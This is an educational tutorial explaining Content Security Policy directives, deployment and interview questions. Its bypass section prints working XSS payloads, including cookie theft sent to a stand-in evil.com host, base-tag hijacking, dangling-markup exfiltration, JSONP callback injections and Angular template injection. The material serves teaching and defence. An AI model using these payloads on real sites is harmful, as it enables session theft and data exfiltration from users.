Content Security Policy Explained Simply
TL;DR: CSP is an HTTP header that tells browsers what content can load and execute on your page. It’s a powerful defense against XSS and data injection, but misconfigurations can render it useless. Understanding both implementation and bypass techniques is essential.
Table of Contents
Open Table of Contents
Quick Reference
Essential CSP Directives
| Directive | Controls | Example |
|---|---|---|
default-src | Fallback for all directives | default-src 'self' |
script-src | JavaScript sources | script-src 'self' 'nonce-abc' |
style-src | CSS sources | style-src 'self' 'unsafe-inline' |
img-src | Image sources | img-src 'self' data: https: |
connect-src | AJAX, WebSocket, fetch | connect-src 'self' api.example.com |
frame-src | iframe sources | frame-src 'none' |
object-src | Plugins (Flash, etc.) | object-src 'none' |
base-uri | <base> element | base-uri 'self' |
form-action | Form submission targets | form-action 'self' |
frame-ancestors | Who can embed this page | frame-ancestors 'none' |
Source Values
| Value | Meaning |
|---|---|
'self' | Same origin only |
'none' | Block all |
'unsafe-inline' | Allow inline scripts/styles (dangerous!) |
'unsafe-eval' | Allow eval() and similar (dangerous!) |
'nonce-abc123' | Allow with matching nonce |
'sha256-hash' | Allow with matching hash |
'strict-dynamic' | Trust scripts loaded by trusted scripts |
https: | Any HTTPS URL |
*.example.com | Wildcard domain |
What Is CSP
The Problem CSP Solves
Without CSP, browsers execute any script on a page:
<!-- Legitimate script -->
<script src="/js/app.js"></script>
<!-- XSS payload - also executes! -->
<script>document.location='http://evil.com/?c='+document.cookie</script>
<!-- Injected external script -->
<script src="http://evil.com/malware.js"></script>
How CSP Works
┌─────────────────────────────────────────────────────────────┐
│ CSP FLOW │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. Server sends CSP header with response │
│ Content-Security-Policy: script-src 'self' │
│ │
│ 2. Browser parses CSP and enforces restrictions │
│ │
│ 3. When page tries to load resource: │
│ ┌─────────────────┐ │
│ │ Script from │──► Check against script-src │
│ │ evil.com? │ 'self' only → BLOCKED! │
│ └─────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ Script from │──► Check against script-src │
│ │ same origin? │ 'self' → ALLOWED │
│ └─────────────────┘ │
│ │
│ 4. Violations reported to console (and optionally server) │
│ │
└─────────────────────────────────────────────────────────────┘
CSP Header Example
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *; object-src 'none'
This policy:
- Allows scripts from same origin and cdn.example.com
- Allows inline styles (not ideal, but common)
- Allows images from anywhere
- Blocks all plugins (Flash, etc.)
- Everything else: same origin only
CSP Directives
Fetch Directives
Control where resources can be loaded from:
Content-Security-Policy:
default-src 'self'; # Fallback for all
script-src 'self' 'nonce-abc123'; # JavaScript
style-src 'self' 'unsafe-inline'; # CSS
img-src 'self' data: https:; # Images
font-src 'self' fonts.googleapis.com; # Fonts
connect-src 'self' api.example.com; # AJAX/Fetch/WebSocket
media-src 'self'; # Audio/Video
object-src 'none'; # Plugins
frame-src 'self'; # iframes
worker-src 'self'; # Web Workers
manifest-src 'self'; # Web App Manifest
Document Directives
Control document behavior:
Content-Security-Policy:
base-uri 'self'; # Restrict <base> element
form-action 'self'; # Where forms can submit
frame-ancestors 'none'; # Who can embed (replaces X-Frame-Options)
sandbox allow-scripts; # Apply sandbox restrictions
Navigation Directives
Control navigation:
Content-Security-Policy:
navigate-to 'self'; # Where page can navigate
form-action 'self'; # Form submission targets
Reporting Directives
Content-Security-Policy:
default-src 'self';
report-uri /csp-report; # Legacy: Send violation reports here
report-to csp-endpoint; # Modern: Use Reporting API
# Reporting API configuration (via Report-To header)
Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"/csp-report"}]}
Report-Only Mode
Test CSP without blocking:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
CSP Bypass Techniques
1. Missing Directives
# Vulnerable: No script-src defined
Content-Security-Policy: default-src 'none'; img-src 'self'
# Attack: default-src 'none' applies, BUT...
# If a directive isn't specified and there's no default-src,
# it defaults to allowing everything!
# Better check: What happens with script-src specifically?
2. Unsafe-Inline Bypass
# Vulnerable policy
Content-Security-Policy: script-src 'self' 'unsafe-inline'
# Attack: Inject inline script (XSS still works!)
<script>alert(document.cookie)</script>
# This is why 'unsafe-inline' defeats the purpose of CSP for XSS
3. Unsafe-Eval Bypass
# Vulnerable policy
Content-Security-Policy: script-src 'self' 'unsafe-eval'
# Attack: If you can inject into existing script context
# Use eval, setTimeout(string), Function constructor
eval('alert(1)');
setTimeout('alert(1)', 0);
new Function('alert(1)')();
4. JSONP Endpoints
# Policy trusts CDN
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com
# Attack: Find JSONP endpoint on allowed domain
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app ng-csp>
{{constructor.constructor('alert(1)')()}}
</div>
# Or direct JSONP callback injection
<script src="https://allowed-domain.com/api?callback=alert(1)//"></script>
5. Base-URI Hijacking
# Vulnerable: No base-uri directive
Content-Security-Policy: script-src 'self'
# Page has relative script path
<script src="/js/app.js"></script>
# Attack: Inject base tag
<base href="https://evil.com/">
# Now /js/app.js loads from https://evil.com/js/app.js
6. Nonce Reuse/Prediction
# Vulnerable: Predictable or reused nonce
Content-Security-Policy: script-src 'nonce-static123'
# If nonce is:
# - Static across requests
# - Predictable (timestamp-based)
# - Leaked somewhere in page
# Attack: Use the known nonce
<script nonce="static123">alert(1)</script>
7. Script-Src ‘Self’ with File Upload
# Policy
Content-Security-Policy: script-src 'self'
# If application allows file uploads and serves them from same origin:
# 1. Upload malicious.js (content: alert(1))
# 2. Include: <script src="/uploads/malicious.js"></script>
# 3. Script executes (same origin!)
8. DOM XSS Still Works
# Even strict CSP doesn't prevent DOM XSS!
Content-Security-Policy: script-src 'self'
# Vulnerable code on page:
<script>
// This legitimate script is allowed
document.getElementById('output').innerHTML = location.hash.slice(1);
</script>
# Attack: Inject via hash (no new script needed)
https://target.com/#<img src=x onerror=alert(1)>
9. Dangling Markup Injection
# Even without script execution, data exfiltration possible
Content-Security-Policy: script-src 'none'
# Inject unclosed tag to capture page content
<img src="https://evil.com/capture?data=
... page content until next quote ...
# Or form-based exfiltration
<form action="https://evil.com/"><input name="
... captures form data ...
Bypass Testing Checklist
## CSP Bypass Checklist
### Policy Analysis
- [ ] Is 'unsafe-inline' present? (XSS works)
- [ ] Is 'unsafe-eval' present? (eval() works)
- [ ] Is base-uri restricted?
- [ ] Is object-src 'none'?
- [ ] Are there wildcards (*.example.com)?
### Allowed Domains
- [ ] Do allowed domains have JSONP endpoints?
- [ ] Do allowed domains have Angular/Vue/React CDN?
- [ ] Can you upload files to allowed domains?
### Nonce/Hash Analysis
- [ ] Is nonce static or predictable?
- [ ] Is nonce leaked in page content?
- [ ] Are hashes correctly calculated?
### Other Vectors
- [ ] DOM XSS (doesn't need script-src bypass)
- [ ] Dangling markup for data exfiltration
- [ ] form-action restrictions?
Implementing Effective CSP
Starting Point: Strict Policy
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-{random}';
style-src 'self' 'nonce-{random}';
img-src 'self';
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
require-trusted-types-for 'script';
Using Nonces
<!-- Server generates random nonce per request -->
<script nonce="rAnd0m123">
// This script is allowed
console.log('Legitimate code');
</script>
<!-- Injected script without nonce -->
<script>
// BLOCKED - no valid nonce
alert('XSS');
</script>
Server-side implementation:
import secrets
@app.route('/')
def index():
nonce = secrets.token_urlsafe(16)
response = make_response(render_template('index.html', nonce=nonce))
response.headers['Content-Security-Policy'] = f"script-src 'nonce-{nonce}'"
return response
Using Hashes
For static inline scripts:
<!-- Calculate hash of script content -->
<script>alert('Hello');</script>
<!-- SHA-256 hash of "alert('Hello');" -->
<!-- CSP: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=' -->
Generate hash:
echo -n "alert('Hello');" | openssl sha256 -binary | base64
Strict-Dynamic
For applications that load scripts dynamically:
Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abc123'
With strict-dynamic:
- Scripts with valid nonce can load other scripts
- Those loaded scripts are trusted transitively
- Whitelist sources are ignored (nonce takes precedence)
<script nonce="abc123">
// This is allowed (has nonce)
// This script can dynamically load others:
var s = document.createElement('script');
s.src = 'https://any-cdn.com/lib.js';
document.body.appendChild(s);
// lib.js is allowed because loader was trusted
</script>
Deployment Strategy
## CSP Deployment Phases
### Phase 1: Report Only
1. Deploy CSP-Report-Only header
2. Collect violation reports
3. Identify legitimate resources being blocked
4. Duration: 2-4 weeks
### Phase 2: Refine Policy
1. Whitelist legitimate sources
2. Replace inline scripts with nonces
3. Remove 'unsafe-inline' from scripts
4. Continue monitoring reports
5. Duration: 2-4 weeks
### Phase 3: Enforce
1. Switch from Report-Only to enforce
2. Keep report-uri active
3. Monitor for issues
4. Have rollback plan ready
### Phase 4: Tighten
1. Remove unnecessary sources
2. Consider strict-dynamic
3. Implement Trusted Types
4. Regular policy review
Common Policy Templates
Basic Web Application:
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
object-src 'none';
frame-ancestors 'self'
SPA with API:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' 'strict-dynamic';
style-src 'self' 'nonce-{random}';
connect-src 'self' https://api.example.com;
img-src 'self' https: data:;
object-src 'none';
base-uri 'self';
frame-ancestors 'none'
Maximum Security:
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{random}' 'strict-dynamic';
style-src 'nonce-{random}';
img-src 'self';
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
base-uri 'none';
form-action 'self';
object-src 'none';
require-trusted-types-for 'script';
upgrade-insecure-requests
Hands-On Lab
Lab: Implement and Bypass CSP
Task 1: Analyze a Weak CSP
Content-Security-Policy: default-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com
Questions:
- What’s wrong with this policy?
- How would you bypass it?
Answers:
unsafe-inlineallows XSS; wide CDN allowlist- Inject inline script OR use Angular from CDN for template injection
Task 2: Bypass JSONP
Given:
Content-Security-Policy: script-src 'self' https://accounts.google.com
Find a bypass using Google’s JSONP endpoints:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>
Task 3: Create Secure Policy
Create a CSP for:
- React SPA
- Loads scripts from self and unpkg.com
- Uses inline styles (working on removing)
- Connects to api.example.com
- Should block framing
Solution:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://unpkg.com 'nonce-{random}';
style-src 'self' 'nonce-{random}';
connect-src 'self' https://api.example.com;
img-src 'self' data:;
object-src 'none';
base-uri 'self';
frame-ancestors 'none'
Task 4: Test with CSP Evaluator
Use Google’s CSP Evaluator: https://csp-evaluator.withgoogle.com/
Input your policy and analyze the findings.
Interview Questions & Answers
Basic Questions
Q1: What is Content Security Policy and what does it protect against?
Strong Answer: “Content Security Policy is an HTTP response header that allows servers to declare what resources the browser should be allowed to load for a given page.
Primary protections:
- XSS mitigation - Can block inline scripts and limit script sources
- Data injection - Controls what can be embedded (frames, objects)
- Clickjacking -
frame-ancestorsreplaces X-Frame-Options- Mixed content -
upgrade-insecure-requestsforces HTTPSExample:
Content-Security-Policy: script-src 'self'; object-src 'none'This tells the browser: only run scripts from my origin, and don’t load any plugins.
Important caveat: CSP is defense-in-depth, not a silver bullet. It doesn’t prevent DOM-based XSS where legitimate scripts mishandle data, and misconfiguration (like
'unsafe-inline') can render it ineffective.”
Q2: Explain the difference between ‘self’, ‘unsafe-inline’, and nonces.
Strong Answer: “These are source expressions in CSP that control what scripts can execute:
‘self’:
- Allows resources from the same origin (scheme + host + port)
- Safe default for scripts
- Example: If page is
https://example.com, only scripts fromhttps://example.comare allowed‘unsafe-inline’:
- Allows inline
<script>tags and event handlers (onclick, etc.)- Dangerous because it defeats XSS protection entirely
- If an attacker can inject HTML, they can execute arbitrary scripts
- Should be avoided whenever possible
Nonces:
- Server generates random token per request
- Token added to CSP:
script-src 'nonce-abc123'- Token added to allowed scripts:
<script nonce=\"abc123\">- Attacker can’t guess the nonce, so can’t inject allowed scripts
- Best practice for allowing specific inline scripts securely
Progression:
- Bad:
'unsafe-inline'(XSS works)- Better:
'self'only (no inline)- Best:
'nonce-random'(selective inline with protection)“
Intermediate Questions
Q3: As a pentester, how would you approach bypassing CSP?
Strong Answer: “I follow a systematic approach:
1. Policy Analysis:
- Get the CSP header (or meta tag)
- Use CSP Evaluator to identify weaknesses
- Look for
unsafe-inline,unsafe-eval, wildcards2. Check for Missing Directives:
- Is
base-urirestricted? (Base tag hijacking)- Is
object-srcrestricted? (Plugin-based execution)- Is
frame-ancestorsset? (Clickjacking)3. Analyze Allowed Domains:
- JSONP endpoints on allowed domains
- Angular/Vue/React libraries for expression injection
- File upload paths on same origin
4. Nonce/Hash Analysis:
- Is the nonce static or predictable?
- Is it leaked anywhere in the page?
5. Alternative Vectors:
- DOM XSS (doesn’t need script-src bypass)
- Dangling markup for data exfiltration
- Style injection for data extraction
6. Document Findings:
- Note the specific bypass technique
- Demonstrate impact (cookie theft, etc.)
- Recommend specific policy improvements”
Q4: A developer says ‘We can’t use CSP because we need inline scripts.’ How do you respond?
Strong Answer: “There are several ways to maintain inline scripts while having effective CSP:
Option 1: Nonces
- Server generates random nonce per request
- Add to CSP:
script-src 'nonce-xyz'- Add to scripts:
<script nonce=\"xyz\">- Most modern approach
Option 2: Hashes
- Calculate SHA hash of script content
- Add to CSP:
script-src 'sha256-hash...'- Works for static inline scripts
- No server-side changes needed
Option 3: Refactor to External
- Move inline scripts to external files
- May require event listener refactoring
- Best for maintainability anyway
Option 4: Strict-Dynamic
- Use nonce for loader script
- Loader can then load other scripts dynamically
- Good for complex applications
What to avoid:
'unsafe-inline'defeats XSS protection entirely- If you must use it, you’ve essentially turned off CSP for scripts
I’d work with them to identify which approach fits their architecture and help implement nonces, which usually takes minimal effort.”
Advanced Questions
Q5: Explain how strict-dynamic works and when you’d use it.
Strong Answer: “
strict-dynamicis a CSP source expression that enables a trust propagation model:How it works:
- You specify
'strict-dynamic'with a nonce- Scripts with that nonce are trusted
- Those trusted scripts can dynamically load other scripts
- Dynamically loaded scripts inherit trust
Example:
Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abc123'<script nonce=\"abc123\"> // Trusted - has nonce var script = document.createElement('script'); script.src = 'https://any-cdn.com/lib.js'; document.body.appendChild(script); // lib.js is ALSO trusted - loaded by trusted script </script>When to use:
- Modern SPAs that dynamically load modules
- Applications using webpack/bundlers that code-split
- When you can’t enumerate all script sources in advance
Important behaviors:
- With
strict-dynamic, URL-based allowlists are IGNORED- Only nonces/hashes matter for initial trust
'unsafe-inline'is also ignored- Requires browser support (Chrome 52+, Firefox 52+)
Security consideration: If your nonced script has a DOM XSS, an attacker could use it to load arbitrary scripts. So
strict-dynamicdoesn’t eliminate the need for secure coding.”
Q6: How does CSP interact with DOM-based XSS? Does CSP prevent it?
Strong Answer: “CSP has significant limitations against DOM-based XSS:
Why CSP doesn’t fully prevent DOM XSS:
DOM XSS occurs when legitimate, allowed scripts mishandle data:
// This script is allowed by CSP (has nonce or is external) document.getElementById('output').innerHTML = location.hash;The script itself is trusted. The vulnerability is in what the script DOES with untrusted data. CSP doesn’t inspect script behavior, only script sources.
What CSP CAN help with:
- Blocking exfiltration:
connect-src 'self'limits where data can be sent- Blocking injected scripts: Even if innerHTML is set,
<script>tags won’t execute- But
<img onerror>and other event handlers WILL executeBetter solution: Trusted Types
Content-Security-Policy: require-trusted-types-for 'script'Trusted Types prevents strings from being assigned to dangerous sinks like
innerHTMLunless they go through a sanitization policy. This directly addresses DOM XSS at the API level.Combined approach:
- CSP to prevent traditional XSS (inject script tag)
- Trusted Types to prevent DOM XSS
- Secure coding practices (use textContent, sanitize input)
CSP is defense-in-depth, not a complete XSS solution.”
Glossary
| Term | Definition |
|---|---|
| CSP | Content Security Policy |
| Directive | Individual rule in CSP (e.g., script-src) |
| Source Expression | Value defining allowed sources (‘self’, URL) |
| Nonce | Random token for allowing specific inline scripts |
| Strict-Dynamic | Trust propagation mode for dynamically loaded scripts |
| Report-Only | CSP mode that logs but doesn’t block |
| Trusted Types | API preventing DOM XSS at the sink level |
| JSONP | Pattern allowing script-based data loading (bypassable) |
What’s Next
Continue building your defensive security expertise:
- DOM-Based XSS Deep Dive - What CSP can’t fully prevent
- CSRF Attacks and Modern Defenses - Complementary web defense
- Securing CI/CD Pipelines - Deploy CSP automatically
Questions or feedback? Open an issue on GitHub.